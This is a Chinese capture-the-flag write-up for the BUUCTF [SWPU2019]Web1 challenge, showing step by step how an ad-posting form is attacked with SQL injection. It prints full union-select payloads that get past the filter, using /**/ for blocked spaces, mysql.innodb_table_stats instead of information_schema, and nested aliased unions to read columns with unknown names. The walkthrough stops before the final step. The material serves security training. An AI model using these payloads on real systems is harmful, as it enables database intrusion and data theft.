buuctf-[SWPU2019]Web1(小宇特详解)

buuctf-[SWPU2019]Web1(小宇特详解)

1.先看题目

buuctf-[SWPU2019]Web1(小宇特详解)_第1张图片

2.这里我怀疑是sql注入,尝试了万能密码和sqlmap都没有效果

buuctf-[SWPU2019]Web1(小宇特详解)_第2张图片

3.这里发现了有一个注册登录的地方

buuctf-[SWPU2019]Web1(小宇特详解)_第3张图片

这里自己注册一个,不要注册admin,不要问我怎么知道的。

这里进去之后是一个广告信息管理

buuctf-[SWPU2019]Web1(小宇特详解)_第4张图片

buuctf-[SWPU2019]Web1(小宇特详解)_第5张图片

这里使用1’ order by 1#

来测试一下

显示标题有敏感词汇

这里没有源码只能去手动的测试他过滤了啥

最终我发现了她过滤了or # --+和空格

这里想一下绕过的方法

空格可以用/**/来代替

–+注释符的话就用单引号闭合就ok

or被过滤了的话就不能使用order by,information_schema

这里使用一个新的注入方法

1.这里检查数据库列数

-1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

回显是2,3

buuctf-[SWPU2019]Web1(小宇特详解)_第6张图片

2.然后去爆数据库

1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

buuctf-[SWPU2019]Web1(小宇特详解)_第7张图片

库名是web1

3.爆表名,这里不能使用or,所以这里使用的是新的payload

1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'

buuctf-[SWPU2019]Web1(小宇特详解)_第8张图片

这里的表名是ads和users

4.去爆users的字段

1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

buuctf-[SWPU2019]Web1(小宇特详解)_第9张图片

你可能感兴趣的:(buuctf,sql,数据库,database)